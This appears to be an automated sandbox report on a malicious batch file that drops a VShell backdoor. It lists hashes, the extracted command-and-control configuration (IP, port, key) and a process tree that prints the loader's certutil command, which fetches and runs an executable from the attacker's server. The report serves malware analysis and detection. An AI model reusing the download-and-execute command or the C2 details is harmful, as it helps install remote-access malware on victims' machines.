Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
22/09/2026, 12:24
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260911-en
windows10-2004-x64
8 signatures
150 seconds
General
- Target windows.bat
- Size 497B
- Sample260922-pljqesec76
- SHA256 228a145f5cdcd0fb231b0bd9656470087ee43b63e1d9713b06e45fb8c49ad922
- MD5 c7fd20fac82c23f70cff98ae91c1eb1b
- SHA1 ad76349205c498208fb5de87816d31fc54cd1214
- SHA512 0300a864df3e70b8c18dc70cf9a6fbe3db19a2ea3d63a79e1b7817b14560b76c5e32336baaa8c8b960c9ef92729291ba92faf94eb804ff3ff00b303e43bc584d
- TLSH T131F0978D58352AB50F95D817789170AAF0998CA0CE305A48ACC011DFEE8F19929FEA82
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
ws://115.29.162.68
Attributes
-
port
9999
-
salt
qwe123qwe
-
type
ws
-
vkey
qwe123qwe
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/4992-7-0x0000000067D40000-0x0000000068534000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 5 4720 certutil.exe 6 4720 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 4992 79d1174dws.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 6112 cmd.exe 4124 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 4892 WMIC.exe 4892 WMIC.exe 4892 WMIC.exe 4892 WMIC.exe 4992 79d1174dws.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4892 WMIC.exe Token: SeSecurityPrivilege 4892 WMIC.exe Token: SeTakeOwnershipPrivilege 4892 WMIC.exe Token: SeLoadDriverPrivilege 4892 WMIC.exe Token: SeSystemProfilePrivilege 4892 WMIC.exe Token: SeSystemtimePrivilege 4892 WMIC.exe Token: SeProfSingleProcessPrivilege 4892 WMIC.exe Token: SeIncBasePriorityPrivilege 4892 WMIC.exe Token: SeCreatePagefilePrivilege 4892 WMIC.exe Token: SeBackupPrivilege 4892 WMIC.exe Token: SeRestorePrivilege 4892 WMIC.exe Token: SeShutdownPrivilege 4892 WMIC.exe Token: SeDebugPrivilege 4892 WMIC.exe Token: SeSystemEnvironmentPrivilege 4892 WMIC.exe Token: SeRemoteShutdownPrivilege 4892 WMIC.exe Token: SeUndockPrivilege 4892 WMIC.exe Token: SeManageVolumePrivilege 4892 WMIC.exe Token: 33 4892 WMIC.exe Token: 34 4892 WMIC.exe Token: 35 4892 WMIC.exe Token: 36 4892 WMIC.exe Token: SeIncreaseQuotaPrivilege 4892 WMIC.exe Token: SeSecurityPrivilege 4892 WMIC.exe Token: SeTakeOwnershipPrivilege 4892 WMIC.exe Token: SeLoadDriverPrivilege 4892 WMIC.exe Token: SeSystemProfilePrivilege 4892 WMIC.exe Token: SeSystemtimePrivilege 4892 WMIC.exe Token: SeProfSingleProcessPrivilege 4892 WMIC.exe Token: SeIncBasePriorityPrivilege 4892 WMIC.exe Token: SeCreatePagefilePrivilege 4892 WMIC.exe Token: SeBackupPrivilege 4892 WMIC.exe Token: SeRestorePrivilege 4892 WMIC.exe Token: SeShutdownPrivilege 4892 WMIC.exe Token: SeDebugPrivilege 4892 WMIC.exe Token: SeSystemEnvironmentPrivilege 4892 WMIC.exe Token: SeRemoteShutdownPrivilege 4892 WMIC.exe Token: SeUndockPrivilege 4892 WMIC.exe Token: SeManageVolumePrivilege 4892 WMIC.exe Token: 33 4892 WMIC.exe Token: 34 4892 WMIC.exe Token: 35 4892 WMIC.exe Token: 36 4892 WMIC.exe Token: SeDebugPrivilege 4992 79d1174dws.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 6112 wrote to memory of 4124 6112 cmd.exe 89 PID 4124 wrote to memory of 4892 4124 cmd.exe 90 PID 4124 wrote to memory of 2908 4124 cmd.exe 91 PID 6112 wrote to memory of 4720 6112 cmd.exe 93 PID 6112 wrote to memory of 4992 6112 cmd.exe 94
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6112 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4124 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4892
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:2908
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://115.29.162.68:9999/?h=115.29.162.68&p=9999&t=ws&a=w64&stage=true" "C:\Users\Public\79d1174dws.exe"2⤵
- Downloads MZ/PE file
PID:4720
-
-
C:\Users\Public\79d1174dws.exe"C:\Users\Public\79d1174dws.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4992
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\79d1174dws.exe
- Size 4KB
- SHA256 87fd7403c047091ff5fce252c56150e1db4c4797a37855dc4dd30279ebd99e15
- MD5 b7d16ceb6aaa631ee3d91b214b7da17d
- SHA1 bc47c5d279b211c22df53bea72b18288950f032c
- SHA512 cf10a3bb12abc0a9649d6acc0ce79a2f8f13dddc9bd9ad9dfddb1b9e617c116c9403a40d5e9db479cb8bf2e2968c2f0f3eb0af05420587e70a1ec3708009932f
- SSDEEP 48:6IIF9BlQaexxvgZ57An0cF5uduvxRxUjbON9XM/ge93ahr0/:y9BOaM4O0cF50uDxUOvXeg
- TLSH T17391D74270B989E7E85D42BF4C0FB8A4BD19740A81C483A70338A5993E3A57BF57CB0D
- MD5 SHA1 SHA512 SSDEEP TLSH